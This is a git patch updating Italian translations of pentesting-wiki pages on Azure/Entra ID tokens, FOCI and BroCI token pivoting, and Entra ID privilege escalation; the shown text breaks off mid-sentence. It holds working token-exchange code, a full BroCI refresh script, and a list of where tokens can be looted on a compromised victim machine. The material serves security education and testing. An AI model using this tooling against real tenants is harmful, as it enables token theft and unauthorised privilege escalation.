From 6470629f49c5de89f4f3a789f05a701433906a63 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 1 Mar 2026 20:13:41 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-tokens-and-public-applications.md | 447 +++++++++++++++--- .../az-entraid-privesc/README.md | 193 ++++++-- .../azure-security/az-services/az-azuread.md | 189 +++++--- 3 files changed, 670 insertions(+), 159 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 4cfa65b73..ccf1294d7 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,86 +1,86 @@ -# Az - Token & Applicazioni Pubbliche +# Az - Token e Applicazioni Pubbliche {{#include ../../../banners/hacktricks-training.md}} ## Informazioni di base -Entra ID è la piattaforma di identity and access management (IAM) cloud di Microsoft, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse. +Entra ID è la piattaforma Microsoft per la gestione delle identità e degli accessi (IAM) basata sul cloud, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse. ### OAuth **Partecipanti chiave in OAuth 2.0:** -1. **Resource Server (RS):** Protegge le risorse possedute dal resource owner. -2. **Resource Owner (RO):** Tipicamente un utente finale che possiede le risorse protette. -3. **Client Application (CA):** Un'applicazione che richiede accesso alle risorse per conto del resource owner. -4. **Authorization Server (AS):** Emette access token alle client application dopo averle autenticate e autorizzate. +1. **Server di risorse (RS):** Protegge le risorse possedute dal proprietario della risorsa. +2. **Proprietario della risorsa (RO):** Tipicamente un utente finale che possiede le risorse protette. +3. **Applicazione client (CA):** Un'applicazione che richiede accesso alle risorse per conto del proprietario della risorsa. +4. **Server di autorizzazione (AS):** Emette access token alle applicazioni client dopo averle autenticato e autorizzate. -**Scopes e consenso:** +**Ambiti e Consenso:** -- **Scopes:** Permessi granulari definiti sul resource server che specificano i livelli di accesso. -- **Consent:** Il processo tramite il quale un resource owner concede a una client application il permesso di accedere a risorse con specifici scopes. +- **Ambiti (Scopes):** Permessi granulari definiti sul server di risorse che specificano i livelli di accesso. +- **Consenso:** Il processo mediante il quale il proprietario della risorsa concede a un'applicazione client il permesso di accedere alle risorse con ambiti specifici. **Integrazione con Microsoft 365:** - Microsoft 365 utilizza Azure AD per IAM ed è composto da molteplici applicazioni OAuth "first-party". - Queste applicazioni sono profondamente integrate e spesso hanno relazioni di servizio interdipendenti. - Per semplificare l'esperienza utente e mantenere la funzionalità, Microsoft concede "implied consent" o "pre-consent" a queste applicazioni first-party. -- **Consenso implicito:** Alcune applicazioni sono automaticamente **concesse l'accesso a specifici scopes senza approvazione esplicita dell'utente o dell'amministratore**. -- Questi scopes pre-consentiti sono tipicamente nascosti sia agli utenti sia agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard. +- **Implied Consent:** Alcune applicazioni vengono automaticamente **concesse l'accesso a specifici ambiti senza il consenso esplicito dell'utente o dell'amministratore**. +- Questi ambiti pre-consentiti sono tipicamente nascosti sia agli utenti sia agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard. -**Tipi di Client Application:** +**Tipi di Applicazioni Client:** 1. **Confidential Clients:** - Possiedono credenziali proprie (es. password o certificati). -- Possono **autenticarsi in modo sicuro** verso l'authorization server. +- Possono **autenticarsi in modo sicuro** al server di autorizzazione. 2. **Public Clients:** - Non hanno credenziali uniche. -- Non possono autenticarsi in modo sicuro verso l'authorization server. -- **Implicazione di sicurezza:** Un attaccante può impersonare una public client application durante la richiesta di token, dato che non esiste un meccanismo per l'authorization server per verificare la legittimità dell'applicazione. +- Non possono autenticarsi in modo sicuro al server di autorizzazione. +- **Implicazione di sicurezza:** Un attaccante può impersonare un'applicazione client pubblica quando richiede token, poiché non esiste un meccanismo per il server di autorizzazione per verificare la legittimità dell'applicazione. -## Token di autenticazione +## Token di Autenticazione Esistono **tre tipi di token** usati in OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al resource server per **accedere alle risorse**. Può essere usato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza — che di default è 1 ora. -- **ID Tokens**: Il client riceve questo **token dall'authorization server**. Contiene informazioni di base sull'utente. È **vincolato a una specifica combinazione di utente e client**. -- **Refresh Tokens**: Fornito al client insieme all'access token. Usato per **ottenere nuovi access e ID token**. È vincolato a una specifica combinazione di utente e client e può essere revocato. La scadenza predefinita è **90 giorni** per i refresh token inattivi e **nessuna scadenza per i token attivi** (da un refresh token è possibile ottenere nuovi refresh token). -- Un refresh token dovrebbe essere legato a un **`aud`**, ad alcuni **scopes**, e a un **tenant** e dovrebbe poter generare solo access token per quell'aud, quei scopes (e non di più) e quel tenant. Tuttavia, questo non è il caso con i token di **FOCI applications**. -- Un refresh token è crittografato e solo Microsoft può decrittarlo. -- Ottenere un nuovo refresh token non revoca il refresh token precedente. +- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al resource server per **accedere alle risorse**. Può essere usato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza - che per default è 1 ora. +- **ID Tokens**: Il client riceve questo **token dal server di autorizzazione**. Contiene informazioni di base sull'utente. È **vincolato a una specifica combinazione di utente e client**. +- **Refresh Tokens**: Forniti al client insieme all'access token. Usati per **ottenere nuovi access e ID token**. Sono vincolati a una specifica combinazione di utente e client e possono essere revocati. La scadenza di default è **90 giorni** per i refresh token inattivi e **nessuna scadenza per i token attivi** (essendo possibile ottenere nuovi refresh token da un refresh token). +- Un refresh token dovrebbe essere legato a un `aud`, ad alcuni **scopes**, e a un **tenant** e dovrebbe essere in grado di generare solo access token per quell'aud, quegli scopes (e non oltre) e quel tenant. Tuttavia, questo non è il caso con i **token delle applicazioni FOCI**. +- Un refresh token è cifrato e solo Microsoft può decifrarlo. +- Ottenere un nuovo refresh token non revoca il precedente refresh token. > [!WARNING] -> Le informazioni per l'**accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un indirizzo IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi potrai usare quel token da un **IP non consentito per accedere alle risorse**. +> Le informazioni per l'**accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi puoi usare quel token da un **IP non consentito per accedere alle risorse**. ### Access Tokens "aud" Il valore indicato nel campo "aud" è il **resource server** (l'applicazione) utilizzato per effettuare il login. -Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ciascuno di essi aggiungerà un "aud" specifico nell'access token risultante: +Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ognuno di essi aggiungerà un "aud" specifico nell'access token risultante: > [!CAUTION] -> Nota che quanto segue sono solo le API supportate da `az account get-access-token`, ma ce ne sono altre. +> Nota che quanto segue sono solo le API supportate da `az account get-access-token` ma ce ne sono di più.
-Esempi di aud +aud examples -- **aad-graph (Azure Active Directory Graph API)**: Usato per accedere alla legacy Azure AD Graph API (deprecata), che permette alle applicazioni di leggere e scrivere dati della directory in Azure Active Directory (Azure AD). +- **aad-graph (Azure Active Directory Graph API)**: Usato per accedere alla legacy Azure AD Graph API (deprecata), che permette alle applicazioni di leggere e scrivere dati di directory in Azure Active Directory (Azure AD). - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Usato per gestire risorse Azure tramite l'Azure Resource Manager API. Include operazioni come creare, aggiornare e eliminare risorse come macchine virtuali, account di storage e altro. +* **arm (Azure Resource Manager)**: Usato per gestire le risorse Azure tramite l'API Azure Resource Manager. Questo include operazioni come creare, aggiornare e cancellare risorse come macchine virtuali, account di storage e altro. - `https://management.core.windows.net/ or https://management.azure.com/` - **batch (Azure Batch Services)**: Usato per accedere ad Azure Batch, un servizio che abilita applicazioni di calcolo parallelo e ad alte prestazioni su larga scala nel cloud. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Usato per interagire con Azure Data Lake Storage Gen1, un servizio scalabile di storage e analytics. +* **data-lake (Azure Data Lake Storage)**: Usato per interagire con Azure Data Lake Storage Gen1, un servizio scalabile di storage e analisi dati. - `https://datalake.azure.net/` -- **media (Azure Media Services)**: Usato per accedere ad Azure Media Services, che fornisce servizi cloud per l'elaborazione e la distribuzione di media video e audio. +- **media (Azure Media Services)**: Usato per accedere ad Azure Media Services, che fornisce servizi cloud per l'elaborazione e la distribuzione di contenuti video e audio. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Usato per accedere alla Microsoft Graph API, l'endpoint unificato per i dati dei servizi Microsoft 365. Permette di accedere a dati e insight da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di Security. +* **ms-graph (Microsoft Graph API)**: Usato per accedere alla Microsoft Graph API, l'endpoint unificato per i dati dei servizi Microsoft 365. Permette di accedere a dati e informazioni da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di Security. - `https://graph.microsoft.com` - **oss-rdbms (Azure Open Source Relational Databases)**: Usato per accedere ai servizi Database di Azure per motori relazionali open-source come MySQL, PostgreSQL e MariaDB. @@ -88,13 +88,13 @@ Il comando `az account get-access-token --resource-type [...]` supporta i seguen
-### Access Tokens Scopes "scp" +### Scope degli Access Tokens "scp" -Lo scope di un access token è memorizzato nella chiave scp dentro l'access token JWT. Questi scopes definiscono a cosa ha accesso l'access token. +Lo scope di un access token è memorizzato nella chiave scp all'interno del JWT dell'access token. Questi ambiti definiscono a cosa l'access token ha accesso. -Se un JWT è autorizzato a contattare una specifica API ma **non ha lo scope** per eseguire l'azione richiesta, **non potrà eseguire l'azione** con quel JWT. +Se un JWT è autorizzato a contattare una specifica API ma **non ha lo scope** per eseguire l'azione richiesta, **non sarà in grado di eseguire l'azione** con quel JWT. -### Esempio: ottenere refresh & access token +### Esempio per ottenere refresh & access token ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -151,24 +151,25 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) - **acr**: The Authentication Context Class Reference claim è "0" quando l'autenticazione dell'utente finale non ha soddisfatto i requisiti di ISO/IEC 29115. - **amr**: The Authentication method indica come il token è stato autenticato. Un valore “pwd” indica che è stata usata una password. - **groups**: Indica i gruppi di cui il principal è membro. -- **iss**: L'issuer identifica lo security token service (STS) che ha generato il token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (l'uuid è il tenant ID) +- **iss**: L'iss identifica lo Security Token Service (STS) che ha generato il token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID) - **oid**: L'object ID del principal - **tid**: Tenant ID -- **iat, nbf, exp**: Issued at (quando è stato emesso), Not before (non può essere usato prima di questo momento, solitamente stesso valore di iat), Expiration time. +- **iat, nbf, exp**: Issued at (quando è stato emesso), Not before (non può essere usato prima di questo tempo, solitamente stesso valore di iat), Expiration time. + ## FOCI Tokens Privilege Escalation -In precedenza è stato menzionato che i refresh tokens dovrebbero essere vincolati agli **scopes** con cui sono stati generati, all'**application** e al **tenant** per cui sono stati generati. Se uno di questi confini viene violato, è possibile effettuare privilege escalation in quanto sarà possibile generare access tokens per altre risorse e tenant a cui l'utente ha accesso e con più scopes rispetto a quanto previsto originariamente. +In precedenza è stato menzionato che refresh tokens dovrebbero essere vincolati agli **scopes** con cui sono stati generati, all'**application** e al **tenant** a cui sono stati generati. Se uno qualsiasi di questi confini viene violato, è possibile effettuare privilege escalation poiché sarà possibile generare access tokens per altre risorse e tenant a cui l'utente ha accesso e con più scopes di quanto originariamente previsto. Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." -Inoltre, nota che le applicazioni FOCI sono public applications, quindi **non è necessario alcun secret** per autenticarsi al server. +Inoltre, nota che le FOCI applications sono public applications, quindi **no secret is needed** per autenticarsi al server. -I client FOCI noti riportati nella [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +I FOCI clients noti riportati nella [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). -### Ottenere uno scope diverso +### Get different scope -Continuando con l'esempio di codice precedente, in questo codice viene richiesto un nuovo token per uno scope diverso: +Seguendo l'esempio di codice precedente, in questo codice viene richiesto un nuovo token per uno scope diverso: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -185,7 +186,7 @@ scopes=[ ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` -### Ottenere client e scopes diversi +### Ottieni client e scopes diversi ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") @@ -201,30 +202,360 @@ scopes=["https://graph.microsoft.com/.default"], # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` -## Dove trovare tokens +## NAA / BroCI (Nested App Authentication / Broker Client Injection) -Dal punto di vista di un attaccante è molto utile sapere dove è possibile trovare access and refresh tokens quando, per esempio, il PC di una vittima viene compromesso: +A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app. -- Inside **`/.Azure`** -- **`azureProfile.json`** contiene informazioni sugli utenti che hanno effettuato il login in passato -- **`clouds.config contains`** info about subscriptions -- **`service_principal_entries.json`** contiene le credenziali delle applicazioni (tenant id, clients e secret). Solo in Linux & macOS +These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token). + +### Obiettivo e scopo + +Lo scopo di BroCI è riutilizzare una sessione utente valida da una catena di app compatibili con broker e richiedere token per una diversa coppia app/risorsa di fiducia. Questo permette di "escalare i privilegi" dal token originale. + +Dal punto di vista offensivo, questo è importante perché: + +- Può sbloccare percorsi di app first-party pre-consensuate non accessibili con normali refresh exchanges. +- Può restituire access token per API ad alto valore (per esempio, Microsoft Graph) sotto identità di app con ampi permessi delegati. +- Espande le opportunità di token pivoting post-authentication oltre il classico switching di client FOCI. + +Ciò che cambia in un NAA/BroCI refresh token non è il formato visibile del token, ma il **contesto di emissione** e i metadati legati al broker che Microsoft verifica durante le operazioni di refresh brokered. + +NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange. + +- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations. +- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`). +- Microsoft validates whether the presented refresh token was minted in a matching brokered context. +- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant"). +- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code. +- You need a refresh token already issued by a compatible brokered flow. + +Check the web **** to find BroCI configured apps and the trust relationships they have. + +### Modello mentale + +Pensa a BroCI come: + +`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource` + +Se una qualsiasi parte di quella catena broker non corrisponde, lo scambio fallisce. + +### Dove trovare un BroCI-valid refresh token + +One practical way is browser portal traffic collection: + +1. Accedi a `https://entra.microsoft.com` (or Azure portal). +2. Apri DevTools -> Network. +3. Filtra per: +- `oauth2/v2.0/token` +- `management.core.windows.net` +4. Individua la risposta contenente il token brokered e copia `refresh_token`. +5. Usa quel refresh token con i parametri BroCI corrispondenti (`brk_client_id`, `redirect_uri`, `origin`) quando richiedi token per app target (per esempio scenari ADIbizaUX / Microsoft_Azure_PIMCommon). + +### Errori comuni + +- `AADSTS900054`: Il contesto del refresh token non corrisponde alla tupla broker fornita (`brk_client_id` / `redirect_uri` / `origin`) o il token non proviene da un flow portal brokered. +- `AADSTS7000218`: Il client flow selezionato richiede una credenziale confidenziale (`client_secret`/assertion), spesso visto quando si prova device code con un client non pubblico. + +
+Helper Python per BroCI refresh (broci_auth.py) +```python +#!/usr/bin/env python3 +""" +Python implementation of EntraTokenAid Broci refresh flow. + +Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for: +- brk_client_id +- redirect_uri +- Origin header + +Usage: +python3 broci_auth.py --refresh-token "" + +How to obtain a Broci-valid refresh token (authorized testing only): +1) Open https://entra.microsoft.com and sign in. +2) Open browser DevTools -> Network. +3) Filter requests for: +- "oauth2/v2.0/token" +- "management.core.windows.net" +4) Locate the portal broker token response and copy the "refresh_token" value +(the flow should be tied to https://management.core.windows.net//). +5) Use that token with this script and Broci params: + +python3 broci_auth.py \ +--refresh-token "" \ +--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \ +--tenant "organizations" \ +--api "graph.microsoft.com" \ +--scope ".default offline_access" \ +--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \ +--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \ +--origin "https://entra.microsoft.com" \ +--token-out +""" + +import argparse +import base64 +import datetime as dt +import json +import re +import sys +import urllib.error +import urllib.parse +import urllib.request +from typing import Any + + +GUID_RE = re.compile( +r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" +) +OIDC_SCOPES = {"offline_access", "openid", "profile", "email"} + + +def resolve_api_scope_url(api: str, scope: str) -> str: +""" +Match Resolve-ApiScopeUrl behavior from the PowerShell module. +""" +if GUID_RE.match(api): +base_resource = api +elif api.lower().startswith("urn:") or "://" in api: +base_resource = api +else: +base_resource = f"https://{api}" + +base_resource = base_resource.rstrip("/") + +resolved: list[str] = [] +for token in scope.split(): +if not token.strip(): +continue +if "://" in token: +resolved.append(token) +elif token.lower().startswith("urn:"): +resolved.append(token) +elif token in OIDC_SCOPES: +resolved.append(token) +elif GUID_RE.match(token): +resolved.append(f"{token}/.default") +else: +normalized = ".default" if token in {"default", ".default"} else token +resolved.append(f"{base_resource}/{normalized}") + +return " ".join(resolved) + + +def parse_jwt_payload(jwt_token: str) -> dict[str, Any]: +parts = jwt_token.split(".") +if len(parts) != 3: +raise ValueError("Invalid JWT format.") +payload = parts[1] +padding = "=" * ((4 - len(payload) % 4) % 4) +decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii")) +return json.loads(decoded.decode("utf-8")) + + +def refresh_broci_token( +refresh_token: str, +client_id: str, +scope: str, +api: str, +tenant: str, +user_agent: str, +origin: str | None, +brk_client_id: str | None, +redirect_uri: str | None, +disable_cae: bool, +) -> dict[str, Any]: +api_scope_url = resolve_api_scope_url(api=api, scope=scope) + +headers = { +"User-Agent": user_agent, +"X-Client-Sku": "MSAL.Python", +"X-Client-Ver": "1.31.0", +"X-Client-Os": "win32", +"Content-Type": "application/x-www-form-urlencoded", +} +if origin: +headers["Origin"] = origin + +body: dict[str, str] = { +"grant_type": "refresh_token", +"client_id": client_id, +"scope": api_scope_url, +"refresh_token": refresh_token, +} +if not disable_cae: +body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}' +if brk_client_id: +body["brk_client_id"] = brk_client_id +if redirect_uri: +body["redirect_uri"] = redirect_uri + +data = urllib.parse.urlencode(body).encode("utf-8") +token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" +req = urllib.request.Request(token_url, data=data, headers=headers, method="POST") + +try: +with urllib.request.urlopen(req) as resp: +raw = resp.read().decode("utf-8") +except urllib.error.HTTPError as e: +err_raw = e.read().decode("utf-8", errors="replace") +try: +err_json = json.loads(err_raw) +short = err_json.get("error", "unknown_error") +desc = err_json.get("error_description", err_raw) +raise RuntimeError(f"{short}: {desc}") from None +except json.JSONDecodeError: +raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None + +tokens = json.loads(raw) +if "access_token" not in tokens: +raise RuntimeError("Token endpoint response did not include access_token.") +return tokens + + +def main() -> int: +parser = argparse.ArgumentParser( +description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)." +) +parser.add_argument("--refresh-token", required=True, help="Refresh token (required).") +parser.add_argument( +"--client-id", +default="04b07795-8ddb-461a-bbee-02f9e1bf7b46", +help="Client ID (default: Azure CLI).", +) +parser.add_argument( +"--scope", +default=".default offline_access", +help="Scopes (default: '.default offline_access').", +) +parser.add_argument( +"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)." +) +parser.add_argument("--tenant", default="common", help="Tenant (default: common).") +parser.add_argument( +"--user-agent", +default="python-requests/2.32.3", +help="User-Agent sent to token endpoint.", +) +parser.add_argument("--origin", default=None, help="Optional Origin header.") +parser.add_argument( +"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)." +) +parser.add_argument( +"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)." +) +parser.add_argument( +"--disable-cae", +action="store_true", +help="Disable CAE claims in token request.", +) +parser.add_argument( +"--token-out", +action="store_true", +help="Print access/refresh tokens in output.", +) +parser.add_argument( +"--disable-jwt-parsing", +action="store_true", +help="Do not parse JWT claims.", +) + +args = parser.parse_args() + +print("[*] Sending request to token endpoint") +try: +tokens = refresh_broci_token( +refresh_token=args.refresh_token, +client_id=args.client_id, +scope=args.scope, +api=args.api, +tenant=args.tenant, +user_agent=args.user_agent, +origin=args.origin, +brk_client_id=args.brk_client_id, +redirect_uri=args.redirect_uri, +disable_cae=args.disable_cae, +) +except Exception as e: +print(f"[!] Error: {e}", file=sys.stderr) +return 1 + +expires_in = int(tokens.get("expires_in", 0)) +expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds") +tokens["expiration_time"] = expiration_time + +print( +"[+] Got an access token and a refresh token" +if tokens.get("refresh_token") +else "[+] Got an access token (no refresh token requested)" +) + +if not args.disable_jwt_parsing: +try: +jwt_payload = parse_jwt_payload(tokens["access_token"]) +audience = jwt_payload.get("aud", "") +print(f"[i] Audience: {audience} / Expires at: {expiration_time}") +tokens["scp"] = jwt_payload.get("scp") +tokens["tenant"] = jwt_payload.get("tid") +tokens["user"] = jwt_payload.get("upn") +tokens["client_app"] = jwt_payload.get("app_displayname") +tokens["client_app_id"] = args.client_id +tokens["auth_methods"] = jwt_payload.get("amr") +tokens["ip"] = jwt_payload.get("ipaddr") +tokens["audience"] = audience +if isinstance(audience, str): +tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience)) +if "xms_cc" in jwt_payload: +tokens["xms_cc"] = jwt_payload.get("xms_cc") +except Exception as e: +print(f"[!] JWT parse error: {e}", file=sys.stderr) +return 1 +else: +print(f"[i] Expires at: {expiration_time}") + +if args.token_out: +print("\nAccess Token:") +print(tokens.get("access_token", "")) +if tokens.get("refresh_token"): +print("\nRefresh Token:") +print(tokens["refresh_token"]) + +print("\nToken object (JSON):") +print(json.dumps(tokens, indent=2)) +return 0 + + +if __name__ == "__main__": +raise SystemExit(main()) +``` +
+ +## Dove trovare i token + +Dal punto di vista di un attacker è molto interessante sapere dove è possibile trovare access and refresh tokens quando, ad esempio, il PC di una vittima è compromesso: + +- All'interno di **`/.Azure`** +- **`azureProfile.json`** contiene informazioni sugli utenti autenticati in passato +- **`clouds.config contains`** contiene informazioni sulle sottoscrizioni +- **`service_principal_entries.json`** contiene le credenziali delle applicazioni (tenant id, client e secret). Solo in Linux & macOS - **`msal_token_cache.json`** contiene access tokens e refresh tokens. Solo in Linux & macOS -- **`service_principal_entries.bin`** and msal_token_cache.bin sono usati in Windows e sono criptati con DPAPI +- **`service_principal_entries.bin`** e msal_token_cache.bin sono usati in Windows e sono criptati con DPAPI - **`msal_http_cache.bin`** è una cache di richieste HTTP -- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)` -- **`AzureRmContext.json`** contiene informazioni su login precedenti effettuati con Az PowerShell (ma senza credenziali) -- Inside **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** ci sono diversi file `.bin` con **access tokens**, ID tokens e informazioni sull'account criptate con il DPAPI dell'utente. -- È possibile trovare altri **access tokens** nei file `.tbres` dentro **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`**, che contengono un base64 criptato con DPAPI con access tokens. -- In Linux e macOS puoi ottenere **access tokens, refresh tokens and id tokens** da Az PowerShell (se usato) eseguendo `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` +- Per caricarlo: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)` +- **`AzureRmContext.json`** contiene informazioni sui login precedenti usando Az PowerShell (ma senza credenziali) +- All'interno di **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** ci sono diversi file `.bin` con **access tokens**, ID tokens e informazioni dell'account criptate con il DPAPI dell'utente. +- È possibile trovare altri **access tokens** nei file `.tbres` all'interno di **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`**, che contengono una base64 criptata con DPAPI contenente access tokens. +- In Linux e macOS puoi ottenere **access tokens, refresh tokens e id tokens** da Az PowerShell (se usato) eseguendo `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` - In Windows questo genera solo id tokens. -- È possibile verificare se Az PowerShell è stato usato in Linux e macOS controllando se esiste `$HOME/.local/share/.IdentityService/` (anche se i file contenuti sono vuoti e inutili) -- Se l'utente è **logged inside Azure with the browser**, secondo questo [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) è possibile avviare il flusso di autenticazione con un **redirect to localhost**, far sì che il browser autorizzi automaticamente il login e ricevere il refresh token. Nota che ci sono poche applicazioni FOCI che permettono il redirect a localhost (come az cli o il powershell module), quindi queste applicazioni devono essere consentite. -- Un'altra opzione spiegata nel blog è usare lo strumento [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) che può usare qualsiasi applicazione perché **otterrà l'OAuth code per poi ottenere un refresh token dal titolo della pagina di auth finale** usando il redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. +- È possibile verificare se Az PowerShell è stato usato su Linux e macOS controllando se esiste `$HOME/.local/share/.IdentityService/` (anche se i file contenuti sono vuoti e inutili) +- Se l'utente è **loggato in Azure tramite il browser**, secondo questo [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) è possibile avviare il flow di autenticazione con un **redirect to localhost**, far sì che il browser autorizzi automaticamente il login e ricevere il refresh token. Nota che ci sono solo poche applicazioni FOCI che permettono il redirect to localhost (come az cli o il modulo powershell), quindi queste applicazioni devono essere permesse. +- Un'altra opzione spiegata nel blog è usare lo strumento [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) che può usare qualsiasi applicazione perché otterrà **il codice OAuth per poi ottenere un refresh token dal titolo della pagina di autenticazione finale** usando il redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. ## Riferimenti - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) - [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md) +- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/) +- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 989d943c6..02476925b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,15 +3,15 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Nota che **non tutte le autorizzazioni granulari** dei ruoli predefiniti in Entra ID **sono idonee per essere utilizzate in ruoli personalizzati.** +> Nota che **non tutti i permessi granulari** che i ruoli predefiniti hanno in Entra ID **sono eleggibili per essere usati nei ruoli personalizzati.** ## Ruoli -### Ruolo: Amministratore dei Ruoli Privilegiati +### Ruolo: Privileged Role Administrator -Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principi e per dare più autorizzazioni ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi. +Questo ruolo contiene i permessi granulari necessari per poter assegnare ruoli a principals e per concedere più permessi ai ruoli. Entrambe le azioni possono essere abusate per escalation dei privilegi. -- Assegna ruolo a un utente: +- Assegnare un 